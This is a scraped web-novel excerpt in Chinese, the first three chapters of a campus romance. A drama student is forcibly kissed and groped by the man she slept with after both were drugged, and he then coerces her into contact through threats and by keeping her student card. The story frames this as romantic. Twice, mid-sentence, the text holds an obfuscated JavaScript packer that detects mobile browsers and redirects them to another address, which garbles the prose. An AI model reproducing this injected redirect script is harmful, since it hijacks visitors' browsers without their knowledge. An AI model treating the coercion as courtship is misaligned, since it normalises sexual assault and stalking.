《正式开始》 1. 第 1 章 My 《诱捕》by叁屠 晋江文学城唯一正版/晋江文学城首发 微博@叁屠1966 * “我想要精彩的人生,我想要体验一切,我想要打破一切规则。” 周五下午,戏剧影视文学学院没课,算上周六日,他们拥有整整两天半的假期。 宿舍里只有两个人在,何皎皎在床上睡觉,温纾莱坐在下面,戴着耳机看《了不起的麦瑟尔夫人》。 这剧美剧她已经刷完两遍,前两天开始第三遍。 外面阴天,宿舍里没有开大灯,光线昏昧,电脑屏幕的光亮投射向温纾莱,照出一张巴掌大的小脸。 哗啦一下,床帘拉开,睡醒的何皎皎探出脑袋:“莱!莱!” 温纾莱听到声音,摘掉一侧耳机,回头:“怎么了?” “你没看群吗?”何皎皎手脚麻利地爬下来,踩上拖鞋:“孔佳茉说隔壁体院过来打篮球了,场上有个巨帅的帅哥,我们去凑凑热闹。” 温纾莱兴致缺缺地啊一声,她不太想去。 何皎皎和温纾莱的床铺正对着,她站在温纾莱后方,梳着乱糟糟的头发:“正好余泽帆也在。” 温纾莱重新戴回耳机的动作一顿,听到余泽帆的名字,温纾莱甚至有点抵触。 何皎皎一拍脑门:“哦对了,你手机是不是静音了,茉茉说余泽帆去找过她,说你不回消息。” 温纾莱的手机从来不会静音,方便重要的人随时能找到自己,她只是单独把余泽帆设置成免打扰模式。倒扣在桌面的手机刚翻转过来,一个电话弹出,是余泽帆。 温纾莱在接还是不接二者间徘徊着,何皎皎绑好头发要去阳台洗脸,在她身后路过,瞥见她手指悬在屏幕上方迟迟不动,好奇发问:“怎么不接?吵架啦?” 何皎皎怒目:“他这中央空调是不是又散热了?“ 温纾莱否认:“没。” 她不习惯讲述自己的心事。 况且他们不算吵架,吵架是两个人你一言我一语,而他们两个之间,是温纾莱在单方面躲避余泽帆。 不愿何皎皎担心,温纾莱不得已接通电话:“喂?” 余泽帆委屈巴巴的嗓音在听筒里响起:“老婆你终于接电话了,我给你发了好多条消息你都不回。” “我在看剧,手机静音了。” “电视剧哪有我好看,你来球场啊,今儿我们跟体院的一起打。” 温纾莱迟疑着:“我——” 余泽帆打断她,卖起惨:“别人都有女朋友来加油助威,不会就我没有吧,老婆你是不是不爱我了,最近对我怎么爱答不理的?” 温纾莱的冷淡一是因为那晚余泽帆没有接她的求救电话,二是因为那件事后她不知道该怎样面对余泽帆。她最是不会拒绝别人,妥协地叹口气:“好了,我去。” 余泽帆收起那副可怜的嘴脸,笑嘻嘻地说:“我们莱莱最好了,等你老婆,顺便再买几瓶水过来,我这儿一帮兄弟呢,到时候我去接你。” “好。”温纾莱挂断电话,关掉电脑起身,穿好外套。 何皎皎也涂完水乳,摘下挂在衣柜门上的棒球帽遮住她两天没洗的油头,她挽上温纾莱的手臂,幽幽抱怨:“我盛情邀请你磨磨蹭蹭,余泽帆一个电话你就出发,重色轻友!” 温纾莱忙解释:“不是,我没有……” 何皎皎比她高几厘米,另一只手上抬,捏了捏温纾莱的脸:“逗你的,哪会真的计较那么多。” 何皎皎熟知温纾莱的性格,腼腆又文静,对外界事物感知敏锐,很感性,有点讨好型人格,不过她们同住一年,认识时间越来越长,关系越来越好,温纾莱不再像大一开学那阵那样谨小慎微,相处中能彻底放松下来。 想当初,温纾莱仅仅是因为没有及时回复她们的消息就跟她们郑重道歉,且保证下次不会再犯同样的错误。 现在再有类似事件发生,温纾莱终于学会用简单的一句“我没看到”解决。 何皎皎一边回忆着一些往事一边打量温纾莱。 不止在戏剧影视学院,温纾莱在整个电影学院里都小有名气。 一双水凌凌的浑圆大眼睛,鼻尖偏左有一颗极小的棕色痣,齐刘海,黑长发,有种柔和的甜美。 像青春剧里的女主角。 浅显的外貌优势之下,还包裹着一个充满才气的灵魂。 她大一下学期编写的一个短篇剧本荣获了大学生戏剧节最佳编剧奖。 又美又有才。 怎么就被余泽帆给骗走了呢? 宿舍所有人都一致认为,余泽帆能谈到温纾莱这个女朋友,真真是祖坟上冒青烟,就他那个一言难尽的人品…… 温纾莱也是好脾气,肚量大,余泽帆再怎么招蜂引蝶她都能原谅,能忍常人所不能忍。 何皎皎、孔佳茉和孙星彤三个人想破头都不明白余泽帆到底有什么致命魅力,能让温纾莱那么死心塌地。 孔佳茉问过温纾莱喜欢余泽帆哪一点,温纾莱思考半晌,夸余泽帆长得还不错。 她们便不再多嘴,感情这件事如人饮水冷暖自知,温纾莱喜欢就好。 人渣么,谁年轻的时候还没爱过几个。 再过去几年,那都是人生阅历的一部分。 * 三月份的北京还在倒春寒,上午飘过一场毛毛细雨,地面湿漉漉一片,寒风瑟瑟呼啸。 温纾莱要买水,她让何皎皎先去体育馆,何皎皎哪儿能抛下她,二人中途拐道去商店,提了三大袋饮品出来。 连打余泽帆三个电话都不通,两个女生无奈负重前行。 一路冷风吹的何皎皎丧失热情,到体育场门口,她脸都有些僵硬:“体院那帮人神经病吧,大冷天的打什么篮球,宿舍里窝着不好吗!” 还有那个余泽帆,在兄弟面前吹牛逼撑面子,让温纾莱一姑娘家干苦力。 她将左手拎着的一大袋饮品换到右手。 温纾莱羽绒服领子拉到顶,下半张脸埋在围巾后面,只露出一双眼睛,捂得密不透风。 她过意不去,伸手:“给我吧,我拿得了。” 余泽帆那男朋友不知冷热,何皎皎这个好朋友可是会心疼人,“给你什么给你,快开门别废话了。” 温纾莱推开体育馆大门,侧过身让何皎皎赶紧进去,挂在小臂的两大袋饮品晃荡着撞到玻璃门。 如今的娱乐圈可不是八九十年代那种穷苦人家为还债养家而去拍戏的时代,当下娱乐圈随处可见各种二代,往娱乐圈输送人才的电影学院自然实力雄厚。 几百平的体育馆开着中央空调,热风呼呼,与室外的天寒地冻有着天壤之别。 一层篮球场人满为患,观众席几乎坐满,何皎皎暗呼一声好家伙,撒眼望去根本找不到孔佳茉和孙星彤,好在孔佳茉事先在宿舍群里发了位置,何皎皎牵着温纾莱直奔篮球场东边第一排正中间的座位。 这场临时攒起来的球赛火爆程度惊人,孙星彤一个人守着三个空座,惴惴不安地四处瞅,两位好友一出现,她心放回肚子里,连连招手:“快来快来!” 温纾莱性子软,生日还是宿舍里最小,出门在外其他三人都很照顾她,走路让她走在中间,座位让她坐在中间。 孙星彤拉过温纾莱,挨着自己坐下,扯两下她的围巾:“快摘了,这里面闷的要死。” 温纾莱是准备坐下后再卸装备的。 “怎么人这么多?”何皎皎身体前倾,隔着温纾莱问孙星彤:“NB ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420361|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' A球星来了怎么着?” 孙星彤摊手:“周五嘛,大家都没事干,又是和体院打又听说来个大帅哥的,大家都闻风而动了呗。” 温纾莱将围巾叠成四四方方的豆腐块放在腿上,甩甩被重物勒麻的手臂,头发起了些静电,她用手指捋着。 “帅哥哪儿呢?”何皎皎抬高帽檐。 “那儿!”孙星彤指着北边篮球架底下那群人:“夹孔佳茉她哥和余泽帆中间那个。” “卧槽!”何皎皎惊艳地抓住温纾莱大腿:“还是个混血儿?” 温纾莱对帅哥无甚兴趣,提到余泽帆,她才分神去瞧。 一帮身高相差无几的大男生围成一个半圆说说笑笑吸引着全场人的瞩目,孔佳茉作为唯一的女生,在孔佳良的带领下融入良好。 不同于其他人的嬉闹,其中一个男生穿着电影学院球队统一的红色球服,单手插兜刷着手机,脖颈低垂,神态懒散,孔佳良拐肘碰了碰他,他撩起眼,勾起一抹漫不经心的敷衍笑弧。 温纾莱本是在找余泽帆,却看清一张意想不到的脸。 被她刻意遗忘在角落,那一晚荒唐的零碎记忆再次涌入脑海,温纾莱如遭雷击,脸刷一下惨白如纸,顺着头发的手脱力,拽下几根发丝,头皮刺痛。 第一反应就是跑。 可余泽帆先一步发现她,三两步就到她面前,不给她逃避的机会。 “你来啦老婆!”余泽帆双手扶在观众席前的栏杆上:“水呢?” 温纾莱从地上提起三个透明塑料袋,里面装着二十几瓶矿泉水和可乐。 余泽帆接过去,说了句谢谢老婆,才见她苍白着脸,手背触她额头:“你脸色怎么这么难看,生病了?” 何皎皎、孙星彤在余泽帆过来时就默契低下头各玩各的手机,不打扰小情侣腻歪,此刻闻言又纷纷看向温纾莱。 孙星彤关切问:“刚才不是还好好的,哪儿不舒服?” 温纾莱咽了下嗓子,稳住失措的心跳,手里缠绕的几根发丝给她灵感,她以此为借口:“没有不舒服,不小心揪了几根头发,有点疼。” 余泽帆狐疑:“真的?” “真的。” 几根头发的威力不至于如此,余泽帆他们仨又找不到别的原因,暂且相信温纾莱。 球赛快要开始,余泽帆手掌捧上温纾莱的脸,弯腰想亲她,温纾莱下意识后躲,恋爱三个月,她还是不太适应余泽帆的亲密。但她比不上余泽帆速度快,额头一热,余泽帆得逞。 他说:“一会儿记得给我加油。” 温纾莱答应:“嗯。” 余泽帆退回到球场,少了他在前方遮挡,温纾莱忍不住又朝北边篮球架那儿看,余泽帆在给队友们分发着她买来的水,轮到最中间的那个男生,他挑出一瓶可乐,视线随即笔直地射向温纾莱。 两个人目光交织,温纾莱心头一紧,立刻垂下眼帘,如坐针毡。 何皎皎察觉到她的怪异,悄声问:“大姨妈来了?” “嗯……是。”温纾莱感谢何皎皎提供的借口,她站起来:“我去下卫生间。” 孔佳茉恰好回来,她说:“我陪你去。” “不用不用。”温纾莱回绝,让孔佳茉专心看球赛。 * 篮球场内人声鼎沸,场外走廊空旷寂静。 温纾莱满怀心事地走着。 卫生间和更衣室呈斜对角,温纾莱的走向会先经过更衣室。 更衣室敞开一条门缝,温纾莱走过,门在里面拉开,温纾莱胳膊一紧,眨眼间就被拽进更衣室。 她后背抵上门板,慌张抬头,对上一双灰蓝色的眼睛。 宗昂眉眼低敛,神情玩味:“又见面了,Mysweetheart。” 2. 第 2 章 他出现在这里带给温纾莱的震惊不亚于几分钟前在球场上看见他。 温纾莱后背紧贴着门板,心怦怦直跳,面上勉强维持着镇定,颤动的睫毛下垂,掩住眼中紧张:“我不认识你。” “是吗。”宗昂发出一声轻笑,一手撑着她身后的门板,一手挑起她一缕长发:“你对不认识的人都那么热情吗,比如那天在我的床上?” 窗户纸被他捅破,温纾莱霍然抬头:“你!” 她那一双大眼睛藏不住丁点情绪,满是惊慌与羞愤,白嫩的脸颊晕出一层薄红,没有什么威慑力,乖软可欺。 “怎么了,我说的不对吗?”宗昂喜欢她脸红的样子,乐此不疲地逗弄着她,松开她那缕长发,转而去拉她外套拉链:“如果你忘了的话,我不介意在这里帮你回忆一下。” 温纾莱出自本能,啪一下打掉他意图不轨的手,攥紧外套领口,强自镇定:“那天晚上是个意外,我们都忘了吧。” 宗昂好整以暇地重复一遍:“意外。” “对,就是意外。”温纾莱搬出用来安慰自己的话术:“都是成年人,睡一觉没什么大不了的,我们就当从未见过,不要打扰彼此的生活。” 温纾莱远不如她表面表现的那么不在乎,成年人有生理需求十分正常,只不过“第一次”到底意义不同,她想给自己真正喜欢的人,但事已至此,她只能接受这场意外,没有别的办法。 宗昂嘴角的弧度耷拉下去,装出沮丧和失落:“好伤心啊,我可是第一次耶。” “你不应该对我负责么?” 他丧眉耷眼的样子有些可怜。 温纾莱又不蠢,“那晚你是可以推开我的。” 她被肮脏龌龊的人下药,意识模糊,逃出来遇到宗昂,向他求助,他就算见死不救她也怪不上他,但他没道理趁人之危后还来卖惨。 “真巧,我也被下药了。”宗昂说:“我们这算不算天赐的缘分?” 这算哪门子孽缘。 温纾莱无言。 他是第一次,她也是,那便谁都不欠谁的。 “那我们扯平了。”她不欲多言:“我先走了。” 温纾莱侧过身想开门,宗昂手掌却牢牢按着门板,纹丝不动。温纾莱疑惑扭头,宗昂仍然是那副“痴心错付”的模样。 他问:“送水的那个人是你男朋友吗?” 温纾莱嗯一声:“所以我们就当那件事从未发生过。” 事到如今,她还单纯地以为宗昂是个讲道理的人。 宗昂眨动一下眼睛,一个不谙世事的孩童形象,问题一个比一个直白露骨:“那你和他睡过么?” “我和他技术谁更好?” “谁让你更爽?” 他每问出一个问题就靠近温纾莱一分,最后一个字话音落下,他嘴唇距离温纾莱耳朵不过毫厘,语气充斥着恶劣的促狭。 温纾莱缩起脖子,耳朵也被他呵出红色,她恍然反应过来宗昂的伪装,义正词严:“跟你没关系!” 她越是一本正经的撇清关系,宗昂越是觉得有趣,他从她额头开始向下扫视,复又看回起始位置,想起之前余泽帆碰到过,他突然幼稚的朝她额头吹一口气,掀动她的刘海,掰过她的脸,亲上她眉心,覆盖掉余泽帆的痕迹。 温纾莱没想到他会做出这样的举动,愣了下,去推他。 宗昂的吻暂时离开她额头,继而下移到她嘴唇,单刀直入地探舌。 温纾莱剧烈挣扎着,牙关紧闭,宗昂抵着门板的手改为抱住温纾莱,强劲有力的手臂横亘在她腰间,落在她臀部的掌心收拢起来,隔着裤子重重一捏。 她惊呼,牙齿放松,给了宗昂可乘之机,捣入进她的口腔。 温纾莱没有接吻的经验,宗昂的舌头对她来讲就是个需要紧急排除的异物,她没有多余心思去体会接吻的感受,咬一口他唇瓣,两手抵住他胸膛奋力一推。 宗昂后退半步,嘶了一声:“好疼。” 温纾莱匆忙拧开反锁的门锁,拉开门跑出去。 …… …… 一口气跑出体育馆,冷风扑面,驱散她脸颊因激动、愤怒泛起的火热。 还有闻讯赶来体育馆看球赛的人,温纾莱逆着人群闷头与他们背道而驰。 她跨进宿舍楼,外套口袋里的手机嗡嗡振动,铃声闷响。 是孔佳茉打来的电话,问她怎么去这么久。 许是回到熟悉又安全的地方,再加上好友的关怀,温纾莱杂乱无序的心跳逐渐平复,“我来例假蹭脏裤子了,回宿舍了,换完就不过去了。” “嗯嗯好。”孔佳茉说:“那你好好在宿舍休息,我们仨帮你看着余泽帆呢。” 余泽帆怎么样,温纾莱没有太大所谓。 她含糊应道:“嗯。” 大概是心情起伏跌宕了一番,明明什么体力活都没干,温纾莱却疲惫不堪,拖着有些沉重的脚步回到宿舍,她先奔向卫生间刷牙,冲掉嘴巴里残留着的陌生气味以及血腥味道,然后脱掉外衣,爬上床蒙上被子睡觉。 睡觉是她逃避现实的一种方式。 她不困,但还是闭着眼强迫自己入睡,意识陷入迷迷糊糊的状态,隐约感到一道震感,她从浅眠中醒来,摸出压在枕头底下的手机。 外面天擦黑,宿舍里灰暗一片,一束光亮乍现,刺得温纾莱眯起眼睛,来电显示都没来得及看清就接通:“喂?” 余泽帆招呼她:“老婆你快过来,我们打完球了,要出去吃饭。” 温纾莱闭着眼,屈起手指用指骨捻着昏沉的脑袋:“你们去吧,我不太舒服。” “哪儿不舒服了?”余泽帆像模像样地关心着:“这样,你出来吃个饭,吃完饭我带你去医院看看。” “不用了。”温纾莱搬出用惯的借口:“我例假来了,不想动。” “别啊,张峰他们女朋友都来,孔佳茉也在,你不来多扫兴啊。” “我说了我不舒服。”温纾莱心情本就糟乱,余泽帆还只顾他的面子,那么她也不必再前思后想,少见的强硬起来:“我不去,不要再叫我了。” 不等余泽帆下一句话,她利落地挂断。 微信里有两条两分钟前收到的未读消息,何皎皎在宿舍群里艾特她晚饭吃什么,她们带回来。 温纾莱不是很有胃口,生理上又有点饿。 「你们都吃什么?」 何皎皎没看手机,孙星彤回她:「我们在二食堂买麻辣烫。」 文殊莱莱:「那帮我带一份米粉吧。」 「黄油小熊比心.JPG」 二食堂离她们这栋宿舍楼最近,十分钟左右何皎皎和孙星彤就拎着三人的晚饭回来,孔佳茉跟她的龙凤胎哥哥孔佳良去参加球队聚餐,得晚点回来。 何皎皎一进门就大肆喧嚷:“这反差真绝了我靠,那个杂种笑起来那么甜,打起球来真猛的一批。” 孙星彤:“……什么杂种?” “混血啊,中意杂交品种简称杂种,也没错啊。”何皎皎理直气壮地拆解着专有名词。 有孔佳茉这个打入内部的情报员,其他人还在到处打听混血帅哥是谁时,她们就已经掌握了全部信息。 混血帅哥叫宗昂,二分之一意大利血统,有个知名导演的爹地,还有个模特出道的多金妈咪,他本人在宾大沃顿商学院读金融。 出色的容貌、顶尖的学历、豪气的家世,天之骄子的完美配置。 何皎皎转过上半身去瞧温纾莱:“莱莱你是没看到,那宗昂一个暴扣,全场妹子那叫一个沸腾。” 温纾莱捧场地扯扯嘴角,笑了笑。 实际并不感兴趣。 她心情不太美妙需要发泄的时候爱吃辣。 揭开一次性塑料包装盖,她从书桌左上方的储物格里拿出一瓶剁椒酱,蒯出一大勺。 椒碎泡进清汤寡水的米粉里,色彩冲击力极强。 温纾莱的剁椒酱是她舅妈自己手工制作,比市面上买的要香得多,光是闻闻味就赢得宿舍里另外三人的青睐。 孙星彤端着麻辣烫走到温纾莱那儿,见她米粉碗里一大块鲜红酱料,问道:“你姨妈来了还吃这么辣,肚子受得了吗。” 她们还特意给她买的清汤米粉呢。 “没事。”温纾莱产生点点撒谎的愧疚感:“我吃辣不影响的。” 孙星彤想,可能每个人体质不一样,温纾莱每次来例假的确是宿舍里最好受的一个,不像她,再三预防还是疼的死去活来。 她毫不客气的把自己那份麻辣烫摆在温纾莱桌上:“给我来一勺。” 何皎皎也过来:“我要两勺。” 温纾莱像食堂阿姨那样,一一满足好她们。 三月初的北京还没有停止供暖,宿舍里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420362|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温度适中,三个女生各坐在自己的书桌前,吃着饭追着剧。 温纾莱点开追到一半的《了不起的麦瑟尔夫人》,筷子挑起一撮米粉嗦进嘴里,辛辣刺激着味蕾,与她糟糕的情绪冲撞着。 下药那件事她谁都没有讲过,最初不是没想过要和余泽帆坦白,话到嘴边又说不出口,虽然他们那个时候还没在一起,只是余泽帆在追她,那件事她也是身不由己的受害者。 但余泽帆能理解她吗? 就余泽帆的种种表象来说,温纾莱不是很有信心。 既然真相不能提,那她也不好澄清下午离开体育馆的事实,不然何皎皎她们一定会问是不是余泽帆又干了什么事惹她不虞。 温纾莱是个很怕给别人添麻烦的性格,不想朋友们为她乱七八糟的生活操心。 …… …… 孔佳茉临近门禁才回,带回来三块小蛋糕,温纾莱她们三人一人一个。 孙星彤还在洗澡,何皎皎吹着还在滴水的头发,撅起嘴朝孔佳茉发送一个亲吻。 孔佳茉故作嫌弃地撇开眼睛。 她将最后一块蛋糕放在温纾莱桌上,温纾莱抬起头:“谢谢茉茉。” “客气。”孔佳茉意有所指地点点她的手机,回到自己床桌那儿。 温纾莱不明所以地解开手机,几秒钟后,孔佳茉发来一条消息。 茉茉:「下午篮球场站我哥旁边那个男生,你有印象吗?」 温纾莱心里咯噔一下。 「没什么印象了,怎么了?」 茉茉:「晚上我们一起去吃饭,他找我要你微信来着,你想给吗?」 茉茉:「我是觉得长得挺帅的,就算你没有别的想法,多交个朋友也不是坏事,但还是看你,你不想我就不给。」 晚上吃完饭,孔佳茉去上洗手间,出来就看见宗昂等在走廊,找她要温纾莱联系方式。 孔佳茉起先有些惊讶,篮球场上那么多女生,温纾莱走得又早,他还能一眼看上? 宗昂这个人她比较了解,他们一家和宗昂家是邻居,他长得帅家世也好,脾性么,宗昂八岁那年被他妈妈接去国外,她根据八岁前的回忆判断,宗昂脾性还可以。 各方各面都甩出余泽帆一大截。 身为朋友,孔佳茉是希望温纾莱趁早脱离余泽帆那片苦海的,余泽帆配不上她,但是温纾莱的意愿为主,在征得温纾莱同意前,孔佳茉不会私自给出她的联系方式。 得知孔佳茉还没有报出她的微信,温纾莱松一口气。 「别给了吧,我不喜欢加陌生人。」 都知道温纾莱偏内向,孔佳茉不做他想。 「好,那我就拒了。」 文殊莱莱:「谢谢茉茉。」 茉茉:「再客气我就生气了。」 文殊莱莱:「黄油小熊比心.JPG」 …… …… 温纾莱最后一个洗漱,完事后熄灯上床。 四个人都拉着床帘,在各自的私密空间里享受着周五惬意的夜晚。 温纾莱靠坐在床头,竖起软枕垫在腰后,例行刷着朋友圈。 她微信列表里都是认识的人,家人朋友、同学、还有一些剧组同事,唯一的陌生人是学校表白墙官方账号。 表白墙不止表白捞人一项功能,一些吐槽八卦也挺有意思。 刷到一条不匿名的捞人朋友圈:墙墙,捞一下下午在北体育馆篮球场打球的这个男生,好帅!!! 朋友圈照片缩小模式下,只会截取照片一小部分,温纾莱随意点开那张投稿照片。 男生屈腿弓腰,手里拍打着篮球,穿一身红色球衣,手臂、小腿肌肉线条走势流畅,是少年独有的青春蓬勃。自然卷,戴着一条白色发带,高鼻梁,深邃的灰蓝色眼睛盯着前方对手,攻击性强,唇角那抹微笑又矛盾的有几分天真纯良。 是宗昂。 温纾莱立刻缩放照片,手指在屏幕上一滑,朋友圈界面滑动,很快就刷掉那张照片。 这时,手机一震。 一条消息进来。 她切出朋友圈,联系人的图标右上角有一个小红点。 她大脑还未运转过来,手便点开那一条好友申请。 昵称一个点,头像是一个戴着墨镜的耍酷阿拉斯加雪橇犬。 申请备注:「我还是找你了哦。」 3. 第 3 章 这条好友申请没有备注姓名,温纾莱也一下子就猜到是谁。 孔佳茉不会出卖她,那他又是怎么找到她微信的? 温纾莱心有疑虑,不过不是很强烈,她选择冷处理。 成年人世界有许多灰色地带,模糊不清的界限、模棱两可的话语,不似小时候那般刨根问底、斤斤计较,成年人世界的潜规则之一——不回应就是拒绝,被拒绝后就应该有分寸感的放弃打扰。 但是宗昂显然不在这个成年世界当中。 温纾莱下午那一觉睡得囫囵,醒来就一直头疼,刷了几分钟短视频困意袭来,她正要锁屏睡觉,一个陌生电话弹进来。 如果换作以往,有陌生号码打来,温纾莱会接通,可此刻这个时间段太敏感,宗昂才加过她好友,之后就有一个电话打来,他都能搞到她微信,那么再搞到她的手机号码也不是很稀奇。 第六感告诫温纾莱有危险。 她当作诈骗电话,直接挂断,再拖进黑名单。 放下手机就要入睡,嗡嗡振动声便响起。 是另一个陌生号码。 饶是温纾莱再好的脾气都不禁恼怒,她再次挂断,又要拉黑。 对方似是预料到她的做法,短信在她操作前发送到位。 「我还有很多个手机号可用,可以打一个晚上。」 温纾莱坐起来,戳着键盘:「你到底要干什么!」 宗昂:「我就是想有一个你的联系方式,这个请求很过分吗?」 他哪里有一点“请求”的态度? 分明就是死缠烂打! 文殊莱莱:「我已经明确表示拒绝了,你还不懂吗?」 宗昂:「可是我不想被拒绝诶,如果你不同意的话,我只能明天去你的学校找你了。」 「我在你们学校只认识孔佳良,我不会撒谎,他问起我为什么找你,我只好实话实说了。」 这简直是明晃晃的胁迫! 温纾莱呼吸稍重。 床帘窸窸窣窣被人撩开,孙星彤探头,悄声叫她:“莱莱?” 温纾莱和孙星彤的床铺在同一侧,头对着头睡,听到她这里的动静,孙星彤好心察看。 黑暗是最好的保护色,温纾莱不用费心去调整表情,也悄声回:“没事,我就是检查一下有没有蹭到被子上。” 床帘闭合起来,温纾莱低头看回手机。 这么一会儿的空,宗昂没有等到她回复,又发了好几条消息。 「怎么不回我?」 「是睡了吗?」 「那我明天去学校找你吧(^ν^)」 温纾莱紧紧抿起嘴唇,不情不愿地通过他的好友申请。 「我通过了你别来」 她连标点符号都不再打,备注也没有给宗昂设置。 .:「明天周六,我去找你玩。」 文殊莱莱:「我不去」 .:「我想你陪我玩。」 文殊莱莱:「你找别人吧我们不熟」 .:「真的不熟吗?」 温纾莱直觉有坑,她打了个「对」字,又给删掉。 宗昂瞅着聊天界面顶部“对方正在输入中”的字样,却迟迟没有收到消息。 他找出一张图片:「我在我房间捡到了你的学生卡。」 胜券在握地等待鱼上钩。 电影学院的学生卡功能性强,集刷宿舍大门、充值水费饭费于一体。温纾莱卡不离身,发现学生卡不见踪影后她翻箱倒柜找了半天还是一无所获,隐隐有所猜测。 现在看到那张图片,她彻底死心。 其实她补办了学生卡,宗昂手里那张也消了户,可上面还清楚印着她的照片和学院信息。 通过聊天的寥寥几句,温纾莱大致能摸到一些宗昂的行事作风。 即便她不要那张学生卡,他也不会善罢甘休。 果不其然,宗昂又开始好好商量起来。 「明天我给你送到学校?」 在剧组第一次见到宗昂那天,他礼貌又疏离,温纾莱怎么都不会想到他是个这么难缠的人。 她缓缓深吸一口气又呼出。 …… …… 酒吧里音乐震耳欲聋,五彩斑斓的镭射灯四处扫荡,DJ在高台上控场,舞池里男男女女妖娆扭动着身体。 最中央的大卡座汇聚着一群年轻人,或在和异性调情或凑成一小堆做着酒吧游戏,宗昂没有加入任何一方,他翘着二郎腿靠在沙发里,全神贯注地玩手机。 他脖颈微低,浓密的睫毛在眼底落下一片阴影,纯白色的聊天背景散发出白光,照亮他流畅的下半张脸。 酒吧里的鼓噪、喧嚣皆与他无关,周围人都在寻欢作乐,唯独他游离在外。 直到收到温纾莱的回信,他意兴阑珊的脸上才出现一丝波澜。 她的头像是一只灰色长耳兔,昵称很有意思——文殊莱莱。 宗昂搜索过这个昵称,他大半时间都在国外,会讲中国话,中国文化倒是不透彻。 文殊是个菩萨,莱莱是她名字叠字,这个组合还挺逗趣。 宗昂记着,她刘海后的眉心中间好像还有一颗小痣。 正好。 他动动手指,将温纾莱的备注改成小菩萨。 小菩萨顶着一张软萌头像,发着冷冰冰的文字。 「地址给我明天我去找你」 宗昂舔了舔下唇结痂的伤口,回:「明天再告诉你。」 一道人影笼罩过来,孔佳良一屁股坐到宗昂旁边,握着一杯酒,酒液晃荡出来几滴,他甩甩手,“坐这儿干什么呢,玩儿去啊。” 他被宗昂的手机光亮吸引,凑近看了眼:“小菩萨,什么奇葩名儿。” 宗昂不做声。 他和孔佳良关系一般,小时候经常混在一起,他十岁那年孔佳良一家搬到上海,他也去了国外生活,慢慢就断了联系。 两个月前他中止学业,开启全球旅行,目的是要放松放松自己,即使他在学业方面并没有什么压力,但他向来随心所欲。 在北欧玩完一圈,想起快两年没有见过他爸,一张机票回国,第二天随他爸带去参加一场晚宴,孔佳良和孔佳茉兄妹也在,儿时情谊这才又拾起来。 他们断联好几年,再见面熟悉且陌生,算得上普通朋友。 今天去孔佳良的学校打球,是孔佳良约他,不成想有意外之喜。 球赛后的饭局他以为温纾莱会在,结果没有,饭局后的酒吧孔佳良又叫上他,他原是不想来,不过—— 宗昂看一眼坐在沙发另一边,身边女生环绕的余泽帆,轻嗤了声。 该打探的消息都打探到手,该摸清的人也都摸清了,这里不好玩,宗昂准备回家睡觉。 他站起身拍拍孔佳良肩膀:“先走了。” 孔佳良:“诶——” 不顾孔佳良的挽留,宗昂抬腿离开。 快到门口,一个穿着吊带裙,身材火辣的女人上前搭讪,镶满钻的美甲暧.昧地划过胸口:“帅哥,一起喝一杯?” 宗昂爱笑,又生了张微笑唇,但他的底色是冷漠与倨傲。 逗弄温纾莱眼里染上的微末笑意在聊天结束时就已然消散,他维持着礼貌:“不了,谢谢。” 掠过女人,他面不改色地掸了掸外套。 - 没有约定好时间、地点,温纾莱不知道宗昂葫芦里卖的是什么药,她不是很喜欢这种提心吊胆的未知。 她八点多醒来就给宗昂发消息,问他今天在哪里见面,几点钟。 干躺在床上半个小时,对话框还是她垫底,温纾莱心绪颇为烦躁。 不能再这么浪费时间。 孔佳茉她们还在睡觉,她下床轻手轻脚地洗漱完,收拾了一下书包,装好笔记本电脑,出宿舍后先去的食堂,买了一份鲜肉小馄饨。 温纾莱有个好习惯,吃饭就会专注吃饭,不会边吃边刷手机。 周六早晨的食堂清清冷冷,工作人员偷偷摸摸地摸着鱼,无人买饭的时候他们或是闲聊或是玩手机。 温纾莱独占一张餐桌,不紧不慢地吃着早饭。 余光里闪进一个人,停在她桌前,温纾莱腮颊咀嚼鼓动,抬起头。 男生脸一红,递出打着二维码的手机:“你好同学,能认识一下吗?” 温纾莱仓促咽下嘴里的馄饨,以手掩唇:“不好意思,我有男朋友了。” 男生不无可惜的啊一声:“好、好,那打扰了。” 饭间这么一个小插曲,温纾莱没放在心上,吃完早饭,她将碗端到食堂门口的餐盘回收处放好,出门去了图书馆。 图书馆里人也不多,两三个的样子,温纾莱在离书架最近的那张桌边坐下,掏出电脑打开桌面上的一个文档,一排排宋体文字密密麻麻。 温纾莱闲暇之余会接些外快,既能赚钱还能增进编写能力。 寒假时哥哥温屿年给她牵线搭桥拿到个资源,一个五分钟MV的音乐剧本,已经完成的七七八八,就缺点专业资料补齐。 温纾莱一旦忙起来就格外投入,全然将宗昂抛之脑后。 正翻着资料修改剧本,电脑屏幕右下角弹出一个语音通话的窗口,旁边手机随之振动。 她挂掉,改成打字。 「我在图书馆。」 余泽帆:「老婆你还生气吗?」 「昨天是我不对,我跟你道歉,你原谅我吧好不好。」
